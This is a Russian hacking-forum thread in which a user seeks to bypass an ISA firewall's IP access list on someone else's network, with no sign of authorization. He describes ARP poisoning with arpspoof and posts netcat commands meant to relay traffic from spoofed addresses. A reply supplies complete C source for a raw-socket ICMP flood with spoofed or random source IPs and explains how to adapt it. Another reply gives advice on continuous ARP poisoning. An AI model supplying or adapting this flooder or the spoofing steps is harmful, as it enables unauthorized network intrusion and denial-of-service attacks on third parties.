Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

10.06.2010, 02:33
|
|
Новичок
Регистрация: 04.06.2010
Сообщений: 3
Провел на форуме: 1607
Репутация:
0
|
|
Обойти сетевой экран
У меня такая ситуация. В соседней сети имеется машина защищённая фаерволом ISA, данный сетевой экран фильтрует трафик между двумя сетями. Фильтрация идёт по IP адресам.
Есть второй комп из моей сети, которому доступ к сервисам защищённого хоста разрешён. Мне удалось заспуфить MAC адрес выдав свой MAC за разрешённый отравив таблицу MAC адресов на сетевом экране. Затем я заслал пару пакетов с флагом SYN на пару портов защищённого хоста утилитами hping и nemesis, в ответ пришли пакеты с флажками SYN\ACK, что означает что сервис доступен, то есть защиту можно обойти.
Но теперь я застрял. Я хочу сделать так чтобы возможно было инициализировать сессию со своей машины, но на выходе мне нужно, что бы возможно было подставить подделанный IP адрес, тем самым обмануть access лист. Я пробовал с netcat и кучей других прог под линуксом, однако ничего не получается возможно что то не так делаю.
Нужен скрипт или прога которая бы позволила на выходе подставлять в заголовки пакетов, левый IP.
К слову у меня была идея создать что то вроде локального туннеля с двумя открытыми портами. Куда бы я указал допустим своей программе на локальный хост порт 1 и автоматом это перебрасовалось бы на целевой хост с целевым портом и подделанным IP адресом.
Пробовал вариации типа :
nc -l p 4433 | nc -s 192.168.spo.of 192.168.ta.rg -p 3389
nc -l p 4433 > nc -s 192.168.spo.of 192.168.ta.rg -p 3389 и т. д.
Однако ничего не выходит. У кого нибудь есть идея, или может кто знает софтину которая бы могла переадресовать трафик и подменить ИП на выходе.
Решение я естественно ищу под линукс.
|
|
|

10.06.2010, 02:59
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
Сообщение от evil6its
Мне удалось заспуфить MAC адрес выдав свой MAC за разрешённый отравив таблицу MAC адресов на сетевом экране.
Что значит заспуфить MAC? ты имеешь ввиду arp спуфинг ?
Опиши подробнее конфигурацию сети.
__________________
Cервер cs 1.6
cs.antichat.net:27015
|
|
|

10.06.2010, 05:00
|
|
Постоянный
Регистрация: 18.11.2009
Сообщений: 709
Провел на форуме: 1410429
Репутация:
214
|
|
Нужен скрипт или прога которая бы позволила на выходе подставлять в заголовки пакетов, левый IP.
Тут код для icmp-flooding, собирается пакет ip и собственно исходный ip меняется на заданный и отправляется широковещательный запрос.
Тебе соответсвенно нужно отправлять свои пакеты и не бесконечно, поэтому следует убрать бесконечный цикл и подкорретировать содержание пакетов.
Для того чтобы эта штука работала необходимо старенькое какое-нить ядро, или покрайней мере отключить там всякие selinux и прочие штуки.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
/*--------------------------------------*/
/* Преобразование имени узла в IP-адрес */
/*--------------------------------------*/
unsigned long resolve(char *hostname)
{
struct hostent *hp;
if ( (hp = gethostbyname(hostname)) == NULL) {
herror("gethostbyname() failed");
exit(-1);
}
return *(unsigned long *)hp->h_addr_list[0];
}
/*------------------------------*/
/* Вычисление контрольной суммы */
/*------------------------------*/
unsigned short in_cksum(unsigned short *addr, int len)
{
unsigned short result;
unsigned int sum = 0;
/* складываем все двухбайтовые слова */
while (len > 1) {
sum += *addr++;
len -= 2;
}
/* если остался лишний байт, прибавляем его к сумме */
if (len == 1)
sum += *(unsigned char*) addr;
sum = (sum >> 16) + (sum & 0xFFFF);
/* добавляем перенос */
sum += (sum >> 16);
/* еще раз */
result = ~sum;
/* инвертируем результат */
return result;
}
/*------------------------*/
/* Главная функция main() */
/*------------------------*/
int main(int argc, char *argv[])
{
int sd;
const int on = 1;
int rnd = 0;
unsigned long dstaddr, srcaddr;
struct sockaddr_in servaddr;
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
if (argc != 3)
{
fprintf(stderr,
"Usage: %s <source address | random> <destination address>\n",
argv[0]);
exit (-1);
}
/* создаем raw-сокет */
if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed");
exit(-1);
}
/* так как будем самостоятельно заполнять IP-заголовок,
то устанавливаем опцию IP_HDRINCL */
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt() failed");
exit(-1);
}
/* даем возможность посылать широковещательные сообщения */
if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt() failed");
exit(-1);
}
/* если в первом аргументе командной строки указано random,
то IP-адрес источника выбирается случайным образом */
if (!strcmp(argv[1], "random")) {
rnd = 1;
srcaddr = random();
} else
srcaddr = resolve(argv[1]);
/* IP-адрес жертвы */
dstaddr = resolve(argv[2]);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dstaddr;
/* заполняем IP-заголовок */
ip_hdr->ihl = 5;
ip_hdr->version = 4;
ip_hdr->tos = 0;
ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400);
ip_hdr->id = 0;
ip_hdr->frag_off = 0;
ip_hdr->ttl = 255;
ip_hdr->protocol = IPPROTO_ICMP;
ip_hdr->check = 0;
ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr));
ip_hdr->saddr = srcaddr;
ip_hdr->daddr = dstaddr;
/* заполняем ICMP-заголовок */
icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = 0;
icmp_hdr->icmp_id = 1;
icmp_hdr->icmp_seq = 1;
icmp_hdr->icmp_cksum = 0;
icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
/* в бесконечном цикле отправляем пакеты */
while (1) {
if (sendto(sd,
sendbuf,
sizeof(sendbuf),
0,
(struct sockaddr *)&servaddr,
sizeof(servaddr)) < 0) {
perror("sendto() failed");
exit(-1);
}
/* взять новый случайный IP-адрес источника, если
в первом аргументе командной строки было указано random */
if (rnd)
ip_hdr->saddr = random();
}
return 0;
}
|
|
|

10.06.2010, 20:13
|
|
Новичок
Регистрация: 04.06.2010
Сообщений: 3
Провел на форуме: 1607
Репутация:
0
|
|
Сообщение от (Dm)
Что значит заспуфить MAC? ты имеешь ввиду arp спуфинг ?
Опиши подробнее конфигурацию сети.
Под этим я имел ввиду то, что я подменил в MAC таблице фаервола соответствие ип адреса с мак адресом разрешённого хоста, на свой мак адрес с помощью утилиты arpspoof. В результате пакеты исходящие от фаерволла идут уже на мой компьютер. Как я предполагаю осталось только, заспуфить свой ИП, чтобы пакеты шедшие от меня проходили через фаерволл и приходили обратно ко мне. По сути дела это 3 уровень модели OSI если так по научному, вот тут я и застрял.
А конфиг сети простой просто один комп коннектится на другой через ISA сервер. Этот сервер по сути дела шлюз, между двумя сетями. Тут я обманываю тока этот шлюз больше ничего не трогаю.
|
|
|

10.06.2010, 20:19
|
|
Новичок
Регистрация: 04.06.2010
Сообщений: 3
Провел на форуме: 1607
Репутация:
0
|
|
Сообщение от lukmus
Тут код для icmp-flooding, собирается пакет ip и собственно исходный ip меняется на заданный и отправляется широковещательный запрос.
Тебе соответсвенно нужно отправлять свои пакеты и не бесконечно, поэтому следует убрать бесконечный цикл и подкорретировать содержание пакетов.
Для того чтобы эта штука работала необходимо старенькое какое-нить ядро, или покрайней мере отключить там всякие selinux и прочие штуки.
Да спасибо за код, хоть я в программировании и чайник, но попробую покавыряться, может получится.
|
|
|

10.06.2010, 21:50
|
|
Познающий
Регистрация: 12.08.2008
Сообщений: 34
Провел на форуме: 141375
Репутация:
5
|
|
Чето как то не понятно...зачем подменять ip на выходе если все пойдет через isa ? Ведь у него таблица и так отравлена, обмен между ним и тобой уже происходит по mac адресам ....Должно работать и так...Вот смотри, ты травишь isa , у него твой реальный мак и подмененный ip, он посылает запрос в другую сеть/подсеть с подложным ip, жертва принимает запрос отвечает на подложный ip адрес через isa сервер у которого таблица отравлена (травится постоянно), isa сверяет этот ip c таблицей отвечает на твой mac адрес.... просто постоянно трави isa сервер и обращайся к машине за ним...Кстати какая адресация у сеток?
Последний раз редактировалось guard_force; 10.06.2010 в 22:34..
Причина: error
|
|
|
|
 |
TEST QR: []
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|